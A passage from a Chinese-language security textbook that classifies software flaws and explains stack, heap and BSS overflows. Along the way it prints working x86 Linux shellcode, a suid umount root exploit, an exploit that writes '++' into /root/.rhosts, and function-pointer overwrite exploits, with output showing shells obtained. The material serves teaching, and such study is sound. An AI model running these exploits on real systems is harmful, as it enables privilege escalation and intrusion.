（1）输入确认错误。在输入确认错误的程序中，由用户输入的字符串没有经过适当的检查，使得攻击者可以通过输入一个特殊的字符串使程序运行错误。这样的错误会造成程序运行不正确、不稳定、异常终止等结果。但是最危险的是攻击者利用这样的程序进行一些非法操作，这就是所谓著名的缓冲区溢出漏洞。由于缓冲区溢出是一个重要的软件实现缺陷，我们将在下面细谈。输入确认错误的另一个子集就是边界条件溢出。边界条件溢出指的是程序里边的一个变量变为超过它自己边界条件时的程序运行错误。这个变量可以是用户输入值，也可以是系统自己生成。所以可以说，边界条件溢出的缺陷和输入确认错误的缺陷有一定的交叉。边界条件溢出的缺陷可能导致系统运行不稳定，如系统没有足够内存、硬盘或者网络的带宽占满等等。很多著名的拒绝服务攻击是利用这样的缺陷进行的。

（2）访问确认错误。访问确认错误指的是系统的访问控制机制出现错误。错误并不在于用户可控制的配置部分，而在系统的控制机制本身。所以，这样的缺陷有可能使得系统运行不稳定，但是基本上不能被利用去攻击系统，因为它的运行错误不受用户的控制。

（3）特殊条件错误。未处理特殊条件的缺陷指的是程序运行的时候在某些特殊条件或者环境下出问题。

（4）设计错误。设计错误指的是程序在实现和配置的时候并不存在错误，而错误就在程序的设计方案上。如果我们回头想一下上面谈过的TCP/IP协议的缺陷，这些缺陷都属于设计缺陷。

（5）配置错误。配置错误的缺陷指的是程序由于用户的配置错误（故意或者意外地）引起系统运行不稳定。这个缺陷并不在于程序的设计和实现，而在于程序的配置。值得注意的是，很多软件在包装的时候都有一个缺省配置，用户在安装的时候基本上按照这个配置进行修改。如果缺省配置出现问题，那么系统就出现漏洞。一个著名的例子就是旧的 Sendmail版本的缺省配置没有关闭邮件转发功能，使得攻击者可以利用这个服务进行转发垃圾邮件。

（6）竞争条件错误。竞争条件错误是程序的安全检查模块在一些非常特殊的情况下出现错误而引起的。比如说，一个程序在运行的时候都要执行多个操作，在执行每个操作之前，程序都要检查该操作是否合法，然后才执行它。模块化编程都将安全检查工作交给安全检查模块完成。但是，在安全检查模块检查的那个时刻和程序执行操作的时刻之间的一瞬间，一些条件有可能会改变，如环境条件使得安全检查模块的检查结果根本没有什么意义。攻击者很可能利用这个很小的机会去攻击系统。竞争条件错误的一个常见形式就是程序在一个可读写的目录下建立一个文件之前没有检查该文件是否存在。攻击者可以利用这一点，猜测程序可能会建立的文件名，并提前以这个文件名建立一个软连接。这样，攻击者可以以程序运行的权限去覆盖系统文件。

以下我们将详细介绍几种重要的软件实现问题。


1.2.1 缓冲区溢出


1.什么是缓冲区溢出

缓冲区溢出的缺陷是属于输入确认错误的类型。它是一种相当普遍的缺陷，并且也是一种非常危险的缺陷。攻击者可以利用缓冲区溢出缺陷进行攻击，获得系统超级用户权限。缓冲区溢出的攻击之所以危险是因为它可以获得系统的最高控制权，此外它还很难被检测出来。如果系统的某个软件或者脚本存在着缓冲区溢出的缺陷，那么这个系统很可能会受到缓冲区溢出的攻击。

缓冲区溢出的攻击指的是一种系统攻击的手段，通过向程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其他指令，以达到攻击的目的。

造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。所以说缓冲区溢出的缺陷属于输入确认错误的缺陷。为了理解缓冲区溢出的机制，我们先看一个例子：


    example1.1.c
    --------------------------------------------------------------
    void function (char *str)
    {
        char  buffer[16];
    strcpy (buffer，str);
    }
    ---------------------------------------------------------------


上面的strcpy() 将直接把str中的内容copy到buffer中。这样只要str的长度大于16，就会造成buffer的溢出，使程序运行出错。存在像strcpy这样的问题的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf() 以及在循环内的getc()、fgetc()、getchar()等。当然，随便向缓冲区中填东西造成它溢出一般只会出现Segmentation fault错误，而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell，再通过shell执行其他命令。如果该程序属于 root且有suid权限的话，攻击者就获得了一个有 root权限的shell，可以对系统进行任意操作了。

请注意，如果没有特别说明，下面的内容都假设用户使用的平台为基于Intel x86 CPU的Linux系统。对其他平台来说，这里的概念同样适用，但程序要做相应修改。

2.制造缓冲区溢出

一个程序在内存中通常分为程序段、数据段和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中，它们存放的位置如图 1.4所示。


图1.4 一个程序在内存中的存放



堆栈的一个特性就是后进先出（LIFO），就是说先进入堆栈的对象会在最后出来，进入堆栈的最后一个对象会是第一个出来。堆栈的两个最重要的操作就是PUSH和POP。PUSH操作把对象放入堆栈的顶端（最外边）。POP操作实现一个逆的过程，把顶端的对象（最外边）取出来。

在内存中，对象是一块连续的内存段。一般来说，堆栈的上面有更低的内存地址，换句话说，在PUSH操作中，堆栈向内存的低端发展。有一个寄存器叫做堆栈指针（SP）。SP存放的是堆栈的顶端地址。PUSH和POP的操作都修改SP的值，使得SP常常指向堆栈的顶端。除了SP寄存器，系统还设计一个寄存器叫做基址寄存器（LB）。LB寄存器用来存放堆栈中一个固定的地址。由于PUSH和POP的操作不会修改LB的值，所以可以通过LB指向的位置读取堆栈中的参数。

当程序中发生函数调用时，计算机做如下操作：

首先把参数压入堆栈，也就是把参数放在堆栈的最里边（一般来说是在堆栈的高端地址）。

第二个操作就是把指令寄存器（IP）中的内容压入堆栈，作为返回地址（RET）。

第三个操作是把当前（旧）的基址寄存器（LB）压入堆栈保存，然后把当前的栈指针（SP）拷贝到LB，作为新的基址。这样，程序可以通过LB这个值去读上面第一个操作所压入的参数。

最后的操作是为本地变量留出一定空间，把SP减去适当的数值。

我们以example1.2.c为例，描述上面的过程。


    example1.2.c
    ---------------------------------------------------------------
    void function (char *str)
    {
        char  buffer[16];
        strcpy (buffer，str);
    }
    void  main  ()
    {
        char  large_string[256];
        int  i;
        for  (  i=0;  i＜255;  i ++)
        large_string[i]='A';
        function  (large_string);
    }
    ---------------------------------------------------------------


当调用函数 function()时，第一个被压入堆栈就是参数*str。第二个被压入堆栈就是函数的返回值ret。第三个被压入堆栈就是旧的基址 LB。这时候，新的基址寄存器的内容应该指向堆栈的这个位置。最后是在堆栈中留出一个空间（buffer）给本地变量。完成了这几个操作，堆栈如图1.5所示。

因为从buffer开始的256字节都将被*str的内容‘A’覆盖，包括LB、ret，甚至*str。‘A’的十六进制值为0x41，所以函数的返回地址变成了0x41414141，这超出了程序的地址空间，所以出现段错误。程序执行的结果是“Segmentation fault (core dumped) ”或类似的出错信息。

3.通过缓冲区溢出获得用户shell

如果在溢出的缓冲区中写入我们想执行的代码，再覆盖返回地址（ret）的内容，使它指向缓冲区的开头，就可以达到运行其他指令的目的，见图1.6。


图1.5 调用一个函数后的堆栈




图1.6 通过堆栈返回指令执行代码（一）



通常，我们想运行的是一个用户shell。见example1.3.c.


example1.3.c
---------------------------------------------------------------
void  main()  {
__asm__("
   　 jmp     0x1f                                  #  2  bytes
    　popl    %esi                                  #  1  byte
    　movl   %esi，0x8(%esi)             # 3 bytes
    　xorl   %eax，%eax                   # 2 bytes
    　movb   %eax，0x7(%esi)             # 3 bytes
    　movl   %eax，0xc(%esi)             # 3 bytes
    　movb   $0xb，%al                    # 2 bytes
    　movl   %esi，%ebx                   # 2 bytes
    　leal   0x8(%esi)，%ecx             # 3 bytes
    　leal   0xc(%esi)，%edx             # 3 bytes
    　int     $0x80                                 #  2  bytes
    　xorl   %ebx，%ebx                   # 2 bytes
    　movl   %ebx，%eax                   # 2 bytes
    　inc     %eax                                  #  1  bytes
    　int     $0x80                                 #  2  bytes
    　call    -0x24                                 #  5  bytes
    　.string  \"/bin/sh\"                     #  8  bytes
                                      #  46  bytes  total
");
}
---------------------------------------------------------------


将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串（example4.c）。


    example1.4.c
    --------------------------------------------------------------
    char  shellcode[]=
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    char  large_string[128];
    void  main()
    {
      char  buffer[96];
    int  i;
    long *long_ptr=(long *) large_string;
      for  (i=0; i＜32; i++)
      *(long_ptr+i)=(int) buffer;
      for  (i=0; i＜strlen(shellcode); i++)
      large_string[i]=shellcode[i];
      strcpy(buffer，large_string);
  }
  ---------------------------------------------------------------


这个程序所做的是，在large_string中填入buffer地址，并把shell代码放到large_string的前面部分。然后将large_string拷贝到buffer中，造成它溢出，使返回地址变为buffer，而buffer 的内容为 shell 代码。这样当程序试从strcpy() 中返回时，就会转而执行shell。

4.利用缓冲区溢出进行的系统攻击

如果已知某个程序有缓冲区溢出的缺陷，如何知道缓冲区的地址，在哪儿放入shell代码呢？由于每个程序的堆栈起始地址是固定的，所以理论上可以通过反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百上千次，实际上是不现实的。解决的办法是利用空指令 NOP。在 shell 代码前面放一长串的NOP，返回地址可以指向这一串NOP中任一位置，执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。


图1.7 通过堆栈返回指令执行代码（二）



图1.7中，N代表NOP，S代表shell。下面是一个缓冲区溢出攻击的实例，它利用了系统程序mount的漏洞。


    example1.5.c
    ---------------------------------------------------------------
    #include ＜unistd.h＞
    #include ＜stdio.h＞
    #include ＜stdlib.h＞
    #include ＜fcntl.h＞
    #include ＜sys/stat.h＞
    #define  PATH_MOUNT  "/bin/umount"
    #define  BUFFER_SIZE  1024
    #define  DEFAULT_OFFSET  50
    u_long  get_esp()
    {
      __asm__("movl %esp，%eax");
    }
    main(int argc，char **argv)
    {
      u_char  execshell[]=
      "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
      "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
      "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
      char *buff=NULL;
      unsigned long *addr_ptr=NULL;
      char *ptr=NULL;
      int  i;
      int  ofs=DEFAULT_OFFSET;
      buff=malloc(4096);
      if(!buff)
      {
          printf("can't  allocate  memory\n");
          exit(0);
      }
      ptr=buff;
      /* fill start of buffer with nops */
      memset(ptr，0x90，BUFFER_SIZE-strlen(execshell));
      ptr +=BUFFER_SIZE-strlen(execshell);
      /* stick asm code into the buffer */
      for(i=0;i＜strlen(execshell);i++)
    *(ptr++)=execshell[i];
  addr_ptr=(long *)ptr;
  for(i=0;i＜(8/4);i++)
    *(addr_ptr++)=get_esp()+ofs;
  ptr=(char *)addr_ptr;
  *ptr=0;
  (void)alarm((u_int)0);
  printf("Discovered and Coded by Bloodmask and Vio，Covin 1996\n");
  execl(PATH_MOUNT，"mount"，buff，NULL);
}
---------------------------------------------------------------


程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff，然后在buff 的前面部分填满NOP，后面部分放shell代码。最后部分是希望程序返回的地址，由栈地址加偏移得到。当以buff为参数调用mount时，将造成mount程序的堆栈溢出，其缓冲区被buff覆盖，而返回地址将指向NOP指令。由于mount程序的所有者是root且有suid位，普通用户运行上面程序的结果将获得一个具有root权限的shell（example5.c）。

5.如何防止缓冲区溢出

堆栈溢出的问题已经广为人知，越来越多的操作系统商家增加了不可执行堆栈的补丁，一些个人也提供了自己的补丁，如著名的Solar Designer提供的针对Linux的不可执行堆栈的kernel patch，也有一些人开发了一些编译器来防止堆栈溢出，像 Crispin Cowan 等开发的StackGuard等。这些方法都一定程度上可以减少由堆栈溢出导致的安全问题。

当然，更根本的解决方法在于在开发的时候避免危险调用（strcpy等），在开发的过程中引入安全检查等，这里就不再赘述了。


1.2.2 堆溢出（Heap Overflow）


1.什么是堆溢出

一个可执行的文件（比如常见的ELF—Executable and Linking Format格式的可执行文件）通常包含多个段，比如过程连接表（PLT）、全局偏移表（GOT）、包含在初始化时执行的指令（init）、包含程序终止时要执行的指令（fini），以及包含一些全局构造指令和析构指令的ctors和dtors。

所谓堆，就是由应用程序动态分配的内存区。在这里，由应用程序来分配是值得特别注意的，因为在一个好的操作系统中，大部分的内存区实际上是在内核一级被动态分配的，而Heap段则是由应用程序来分配的，它在编译的时候被初始化。包含未被初始化的数据的BSS段在程序运行的时候才被分配。在被写入数据前，它始终保持全零。在大部分的系统中，堆是向上增长的（向高址方向增长），因此，当我们说X在Y的下面时，就是指X的地址低于Y的地址。一般所谓的堆溢出既包含堆段的溢出，也包含BSS段的溢出。下面是一个演示在Heap段（已初始化的数据）发生的动态缓冲区溢出。


    #include ＜stdio.h＞
    #include ＜stdlib.h＞
    #include ＜unistd.h＞
    #include ＜string.h＞
    #define  BUFSIZE  16
    #define OVERSIZE 8 /* 我们将覆盖buf2的前OVERSIZE个字节 */
    int  main()
    {
      u_long  diff;
      char *buf1=(char *)malloc(BUFSIZE)，*buf2=(char *)malloc(BUFSIZE);
      diff=(u_long)buf2  -  (u_long)buf1;
      printf("buf1=%p，buf2=%p，diff=0x%x (%d)bytes\n"，buf1，buf2，diff，diff);
        /* 将buf2用'A'填充 */
      memset(buf2，'A'，BUFSIZE-1)，buf2[BUFSIZE-1]='\0';
      printf("before overflow: buf2=%s\n"，buf2);
      /*用diff+OVERSIZE个'B'填充buf1 */
      memset(buf1，'B'，(u_int)(diff+OVERSIZE));
      printf("after overflow: buf2=%s\n"，buf2);
      return  0;
    }


当我们运行它后，得到下面的结果：


    [anonymous@testserver  basic]$  ./heap1  8
    buf1=0x8049858，buf2=0x8049870，diff=0x18 (24)bytes
    before  overflow:  buf2=AAAAAAAAAAAAAAA
    after  overflow:  buf2=BBBBBBBBAAAAAAA


我们看到buf2的前8字节被覆盖了。这是因为往buf1中填写的数据超出了它的边界进入了buf2的范围。由于buf2的数据仍然在有效的Heap区内，程序仍然可以正常结束。另外我们可以注意到，虽然buf1和buf2是相继分配的，但它们并不是紧挨着的，而是有8字节的间距，这个间距可能随不同的系统环境而不同。

为了解释BSS段的溢出，我们来看下面这个例子：


    #include ＜stdio.h＞
    #include ＜stdlib.h＞
    #include ＜unistd.h＞
    #include ＜string.h＞
    #include ＜errno.h＞
    #define  ERROR  -1
    #define  BUFSIZE  16
    int main(int argc，char **argv)
    {
      u_long  diff;
      int  oversize;
      static char buf1[BUFSIZE]，buf2[BUFSIZE];
      if  (argc ＜=1)
      {
          fprintf(stderr，"Usage: %s＜numbytes＞\n"，argv[0]);
          fprintf(stderr，"[Will overflow static buffer by＜numbytes＞]\n");
          exit(ERROR);
      }
      diff=(u_long)buf2  -  (u_long)buf1;
      printf("buf1=%p，buf2=%p，diff=0x%x (%d) bytes\n\n"，buf1，buf2，diff，diff);
      memset(buf2，'A'，BUFSIZE - 1)，memset(buf1，'B'，BUFSIZE - 1);
      buf1[BUFSIZE - 1]='\0'，buf2[BUFSIZE - 1]='\0';
      printf("before overflow: buf1=%s，buf2=%s\n"，buf1，buf2);
      oversize=diff + atoi(argv[1]);
      memset(buf1，'B'，oversize);
      buf1[BUFSIZE - 1]='\0'，buf2[BUFSIZE - 1]='\0';
      printf("after overflow: buf1=%s，buf2=%s\n\n"，buf1，buf2);
      return  0;
    }


当我们运行它后，得到下面的结果：


    [anonymous@testserver  basic]$  ./heap2  8
    buf1=0x8049874，buf2=0x8049884，diff=0x10 (16) bytes
    before overflow: buf1=BBBBBBBBBBBBBBB，buf2=AAAAAAAAAAAAAAA
    after overflow: buf1=BBBBBBBBBBBBBBB，buf2=BBBBBBBBAAAAAAA


和Heap溢出类似，buf2的前8字节也被覆盖了。我们也可以注意到，buf1和buf2是紧挨着的，这意味着我们可以不用猜测buf1和buf2之间的间距。

2.利用堆溢出进行攻击

从上面两个简单的例子，我们应该了解 Heap/BSS 溢出的基本方式了。我们能用它来覆盖一个文件名，口令或者是保存的 uid 等等。为了说明这一点，我们再来看一个例子。这个程序会用一个临时文件来储存用户输入的数据。


    /*
    * 这是一个很典型的有弱点的程序。它将用户的输入储存在一个临时文件中。
    * 编译方法: gcc -o vulprog1 vulprog1.c
    */
   #include ＜stdio.h＞
   #include ＜stdlib.h＞
   #include ＜unistd.h＞
   #include ＜string.h＞
   #include ＜errno.h＞
   #define  ERROR  -1
   #define  BUFSIZE  16
   /*
    * 将攻击程序以root身份运行或者改变攻击程序中"vulfile"的值。
    * 否则，即使攻击程序成功，它也不会有权限修改/root/.rhosts(缺省的例子)
    *
    */
   int main(int argc，char **argv)
   {
      FILE *tmpfd;
      static char buf[BUFSIZE]，*tmpfile;
      if  (argc ＜=1)
      {
        fprintf(stderr，"Usage: %s＜garbage＞\n"，argv[0]);
        exit(ERROR);
      }
      tmpfile="/tmp/vulprog.tmp";
      printf("before: tmpfile=%s\n"，tmpfile);
      printf("Enter one line of data to put in %s: "，tmpfile);
      gets(buf);     /* 导致buf溢出 */
      printf("\nafter: tmpfile=%s\n"，tmpfile);
      tmpfd=fopen(tmpfile，"w");
      if  (tmpfd==NULL)
    {
      fprintf(stderr，"error opening %s: %s\n"，tmpfile，
                strerror(errno));
      exit(ERROR);
    }
    fputs(buf，tmpfd);      /* 将buf提供的数据存入临时文件 */
    fclose(tmpfd);
  }


这个例子中的情形在编程时是很容易发生的，很多人以为用静态数组和静态指针就会比较安全，下面是攻击程序：


    /*

　　　* 这个程序将用来攻击vulprog1.c.它传输参数给有弱点的程序。有弱点的程序
　　　* 以为将我们输入的一行数据储存到了一个临时文件里。然而，因为发生了静态

　　　* 缓冲区溢出的缘故，我们可以修改这个临时文件的指针，让它指向argv[1](我们
     * 将传递"/root/.rhosts"给它）。然后程序就会将我们提供的输入数据存在"/root
     * /.rhosts"中。所以我们用来覆盖缓冲区的字符串将会是下面的格式：
     *   [++# ][(tmpfile地址) - (buf 地址)个字符'A'][argv[1]的地址]
     *
     * "++"后面跟着'#'号是为了防止我们的溢出代码出问题。没有'#'(注释符)，使用

　　　* .rhosts的程序就会错误解释我们的溢出代码。
     *
     * 编译方法: gcc -o exploit1 exploit1.c
     */
    #include ＜stdio.h＞
    #include ＜stdlib.h＞
    #include ＜unistd.h＞
    #include ＜string.h＞
    #define  BUFSIZE  256
    #define DIFF 16 /* vulprog中buf和tmpfile之间的间距 */
    #define  VULPROG  "./vulprog1"
    #define VULFILE "/root/.rhosts" /* buf 中的内容将被储存在这个文件中 */
    /* 得到当前堆栈的esp，用来计算argv[1]的地址 */
    u_long  getesp()
    {
      __asm__("movl %esp，%eax"); /* equiv.of 'return esp;' in C */
    }
    int main(int argc，char **argv)
    {
      u_long  addr;
      register  int  i;
      int  mainbufsize;
      char *mainbuf，buf[DIFF+6+1]="++\t# ";
      /* ----------------------------------------------------- */
      if  (argc ＜=1)
      {
          fprintf(stderr，"Usage: %s＜offset＞ [try 310-330]\n"，argv[0]);
          exit(ERROR);
      }
      /* ---------------------------------------------------- */
      memset(buf，0，sizeof(buf))，strcpy(buf，"++\t# "); /*将攻击代码填入buf */
      memset(buf+strlen(buf)，'A'，DIFF); /*用'A'填满剩余的buf空间*/
      addr=getesp()+atoi(argv[1]);  /* 计算argv[1]的地址 */
      /* 将地址反序排列(在小endian系统中)后存入buf+DIFF处 */
      for  (i=0; i＜sizeof(u_long); i++)
          buf[DIFF+i]=((u_long)addr ＞＞ (i * 8) ＆ 255);
      /* 计算mainbuf的长度 */
      mainbufsize=strlen(buf)+strlen(VULPROG)+strlen(VULFILE)+13;
      mainbuf=(char *)malloc(mainbufsize);
      memset(mainbuf，0，sizeof(mainbuf));
      snprintf(mainbuf，mainbufsize - 1，"echo '%s' | %s %s\n"，buf，VULPROG，VULFILE);
    printf("Overflowing tmpaddr to point to %p，check %s after.\n\n"，addr，VULFILE);
    system(mainbuf);
    return  0;
  }
---------------------------------------------------------------
[root@testserver vulpkg1]# ./exploit1 349
Overflowing tmpaddr to point to 0xbffffe6d，check /root/.rhosts after.
before:  tmpfile=/tmp/vulprog.tmp
Enter  one  line  of  data  to  put  in  /tmp/vulprog.tmp:
after:  tmpfile=/vulprog1


我们看到现在tmpfile指向argv[0]("./vulprog1")，我们增加10字节（argv[0]的长度）：


[root@testserver  vulpkg1]#  ./exploit1  359
Overflowing tmpaddr to point to 0xbffffe77，check /root/.rhosts after.
before:  tmpfile=/tmp/vulprog.tmp
Enter  one  line  of  data  to  put  in  /tmp/vulprog.tmp:
after:  tmpfile=/root/.rhosts
[root@testserver  vulpkg1]#  cat  /root/.rhosts
++      #  AAAAAAAAAAw?...A
        buf                 tmpfile
覆盖后：[++\t# AAAAAAAAAA][0x123445678]


这样攻击者成功地将“++”添加到了/root/.rhosts中。攻击程序覆盖了vulprog用来接受gets()输入的静态缓冲区，并将猜测的argv[1]的地址覆盖tmpfile。我们可以在mainbuf中放置任意长度的‘A’直到发现多少个‘A’才能到达tmpfile 的地址。如果用户有弱点程序源码的话，可以增加“printf()”来显示出被覆盖的数据与目标数据之间的距离（比如：printf("%p - %p=0x%lx bytes\n"，buf2，buf1，(u_long)diff)）。但通常这个偏移量在编译的时候会发生改变，但我们可以很容易地重新计算/猜测甚至暴力猜测这个偏移量。

注意，我们需要一个有效的地址（argv[1]的地址），我们必须将字节顺序反向（在 little endian 系统中）。Little endian 系统通常是低字节在前（x86 就是 little endian 系统）。因此0x12345678在内存中就是按0x78563412的顺序存放。如果我们是在big endian系统中做这些（比如sparc），我们就不必做反序的处理了。

迄今为止，这些例子中没有一个要求可执行的Heap，这些例子都是不依赖系统和硬件结构的（除了字节反序的部分），这在攻击Heap溢出时是非常有用的。

3.修改函数指针

知道了怎么重写一个指针，接下来就是如何修改一个函数指针。与上面的例子不同的是，修改函数指针的攻击要求有一个可以执行的Heap函数指针（比如int (*funcptr)(char *str)）允许程序员动态修改要被调用的函数。可以重写函数指针的地址，使其被执行的时候转去调用我们指定的函数（代码）。为了达到这个目的，可以有多种选择。

首先，可以使用自己的shellcod，有两种方法来使用自己的shellcode：

（1）argv[]方法：将shellcode储存在一个程序参数中（这要求一个可执行的堆栈）。

（2）Heap偏移方法：将shellcode储存在从Heap的顶端到被覆盖的指针之间的区域中（这要求可执行的Heap）。

注意：Heap可执行的可能性比堆栈可执行的可能性要大得多。因此，利用Heap的方法可能更常用一些。

另外的一种方法是简单地猜测一个函数（比如 system）的地址。如果知道攻击程序中system()的地址，那么如果两个程序在同样的情况下编译的话，被攻击的程序中system()的地址应该与其相差不远。这种方法的好处在于它不需要一个可执行的Heap。

第二种方法的优点就是简单。可以很快地从攻击程序的 system()的地址猜出有弱点程序的 system()地址。而且在远程系统中也是相同的（如果版本、操作系统和硬件结构都一样的话）。第一种方法的优点在于可以利用自己的 shellcode 来做任意的事，而且并不需要考虑函数指针的兼容问题，比如不管是char (*funcptr)(int a)还是void (*funcptr)()，都可以顺利工作（第一种方法就必须考虑这些）。它的缺点就是必须要有可执行的heap/stack。

下面我们再来看一个有弱点的程序：


    #include ＜stdio.h＞
    #include ＜stdlib.h＞
    #include ＜unistd.h＞
    #include ＜string.h＞
    #define  ERROR  -1
    #define  BUFSIZE  64
    int goodfunc(const char *str); /* 正常情况下要被funcptr指向的函数 */
    int main(int argc，char **argv)
    {
      static  char  buf[BUFSIZE];
      static int (*funcptr)(const char *str);/* 这个就是我们将要重写的函数指针 */
      if  (argc ＜=2)
{
          fprintf(stderr，"Usage: %s＜buf＞＜goodfunc arg＞\n"，argv[0]);
    exit(ERROR);
  }
  printf("(for 1st exploit) system()=%p\n"，system);
  printf("(for 2nd exploit，stack method) argv[2]=%p\n"，argv[2]);
  printf("(for 2nd exploit，heap offset method) buf=%p\n\n"，buf);
  funcptr=(int (*)(const char *str))goodfunc;
  printf("before overflow: funcptr points to %p\n"，funcptr);
  memset(buf，0，sizeof(buf));
/* 溢出有可能在这里发生，这也是很常见的一种错误的使用strncpy的例子 */
strncpy(buf，argv[1]，strlen(argv[1]));
  printf("after overflow: funcptr points to %p\n"，funcptr);
  (void)(*funcptr)(argv[2]); /* 正常情况下将调用goodfunc，参数为argv[2]*/return  0;
}
/* ---------------------------------------------- */
/* This is what funcptr would point to if we didn't overflow it */
int goodfunc(const char *str)
{
  printf("\nHi，I'm a good function. I was passed: %s\n"，str);
  return  0;
}


我们来看看第一个攻击的例子，这里采用的是使用system()的方法：


    /*
     *
     * 演示在bss段(未被初始化的数据）中覆盖静态函数指针的方法。
     *
     * offset (argv[2])范围为 0-20 (10-16 is best)
     */
    #include ＜stdio.h＞
    #include ＜stdlib.h＞
    #include ＜unistd.h＞
    #include ＜string.h＞
    /* 假设funcptr与buf之间的距离（对于BSS区来说，这个值应该就是buf的大小 */
      #define  BUFSIZE  64
      #define VULPROG "./vulprog" /* 有弱点程序的位置 */
      #define CMD "/bin/sh" /* 定义如果攻击成功后要执行的命令 */
      #define  ERROR  -1
      int main(int argc，char **argv)
      {
          register  int  i;
          u_long  sysaddr;
          static  char  buf[BUFSIZE + sizeof(u_long) + 1]={0};
          if  (argc ＜=1)
          {
            fprintf(stderr，"Usage: %s＜offset＞\n"，argv[0]);
            fprintf(stderr，"[offset=estimated system() offset]\n\n");
            exit(ERROR);
          }
          sysaddr=(u_long)＆system - atoi(argv[1]); /*计算system()的地址*/
          printf("trying system() at 0x%lx\n"，sysaddr);
          memset(buf，'A'，BUFSIZE);
          /* 在little endian系统中，需要将字节反序排列 */
          for  (i=0; i＜sizeof(sysaddr); i++)
            buf[BUFSIZE+i]=((u_long)sysaddr ＞＞ (i * 8)) ＆ 255;
          execl(VULPROG，VULPROG，buf，CMD，NULL);
          return  0;
      }


当我们运行它后，得到下面的结果：


    [anonymous@testserver  vulpkg2]$  ./exploit2  12
    Trying  system()  at  0x80483fc
    system()'s  address=0x80483fc
    before  overflow:  funcptr  points  to  0x80485fc
    after  overflow:  funcptr  points  to  0x80483fc
    bash$


接下来的例子中我们用了stack和Heap的方法：


    ---------------------------------------------------------------
      /*
        *
        * 这演示了如何重写一个静态函数指针使其指向我们提供的shellcode.
        * 这种方法要求可执行的stack或heap
        *
        * 这个程序中有两个参数：offset和heap/stack，对于stack方法来说，
        * offset为堆栈顶端到(有弱点程序的)argv[2]的距离。
        * 对于heap方法来说，offset为heap的顶端到被覆盖的（或指定的）buffer之间的
        * 距离。
        *
        * 对于stack方法来说，参数为325～345，对于heap方法来说，参数为420～450
        *
        */
      #include ＜stdio.h＞
      #include ＜stdlib.h＞
      #include ＜unistd.h＞
      #include ＜string.h＞
      #define  ERROR  -1
      #define BUFSIZE 64 /* estimated diff between buf/funcptr */
      #define VULPROG "./vulprog" /* where the vulprog is */
      char shellcode[]=/* just aleph1's old shellcode (linux x86) */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
        "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
        "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
      u_long  getesp()
{
          __asm__("movl %esp，%eax"); /* 得到当前堆栈顶端的值 */
      }
    int main(int argc，char **argv)
    {
      register  int  i;
      u_long  sysaddr;
      char  buf[BUFSIZE + sizeof(u_long) + 1];
      if  (argc ＜=2)
      {
          fprintf(stderr，"Usage: %s＜offset＞＜heap | stack＞\n"，argv[0]);
          exit(ERROR);
      }
      if (strncmp(argv[2]，"stack"，5)==0) /* 使用堆栈的方法 */
      {
          printf("Using stack for shellcode (requires exec.stack)\n");
          sysaddr=getesp()+atoi(argv[1]); /*计算argv[2]的地址*/
          printf("Using 0x%lx as our argv[1]address\n\n"，sysaddr);
          memset(buf，'A'，BUFSIZE+sizeof(u_long));
      }  else /* 使用heap的方法 */
      {
          printf("Using  heap  buffer  for  shellcode  "
          "(requires  exec. heap)\n");
        /* 计算目标buffer的地址(sbrk(0)用来得到heap的顶端地址) */
          sysaddr=(u_long)sbrk(0)  -  atoi(argv[1]);
          printf("Using 0x%lx as our buffer's address\n\n"，sysaddr);
        /* 计算是否buf与funcptr之间的距离不足以放下我们的shellcode */
        /* 如果这段距离比较小的话，其实可以采用另外的方法来填充：  */
        /*   buf              funcptr  sysaddr
        /* [sysaddr|sysaddr|...][sysaddr][shellcode]           */
          if  (BUFSIZE + 4 + 1＜strlen(shellcode))
          {
            fprintf(stderr，"error: buffer is too small for shellcode "
            "(min.=%d bytes)\n"，strlen(shellcode));
            exit(ERROR);
    }
    strcpy(buf，shellcode);
    memset(buf+strlen(shellcode)，'A'，
    BUFSIZE  -  strlen(shellcode) + sizeof(u_long));
  }
  buf[BUFSIZE + sizeof(u_long)]='\0';
  /* reverse byte order (on a little endian system) (ntohl equiv) */
  for  (i=0; i＜sizeof(sysaddr); i++)
    buf[BUFSIZE+i]=((u_long)sysaddr ＞＞ (i * 8)) ＆ 255;
  execl(VULPROG，VULPROG，buf，shellcode，NULL);
  return  0;
}


先来看看用堆栈的方法：


    [anonymous@testserver  vulpkg3]$  ./exploit3  319  stack
    Using  stack  for  shellcode  (requires  exec. stack)
    Using  0xbffffdf7  as  our  argv[1] address
    argv[1]=0xbffffdf7
    buf=0x8049820
    before:  funcptr=0x8048500
    after:  funcptr=0xbffffdf7
    bash$


下面是用Heap的方法：


    [anonymous@testserver  vulpkg3]$  ./exploit3  836  heap
    Using  heap  buffer  for  shellcode  (requires  exec. heap)
    Using  0x8049820  as  our  buffer's  address
    argv[1]=0xbffffdf7
    buf=0x8049820
    before:  funcptr=0x8048500
    after:  funcptr=0x8049820
    bash$


从上面的例子可以看出，对于同一种问题，可以有几种不同的攻击手法。而且，由于一般说来，堆通常是可执行的，因此，近年来，通过堆溢出缺陷进行攻击的案例大大增加。这也为网络安全防护增加了更多的困难。


1.3 用户使用引入的风险


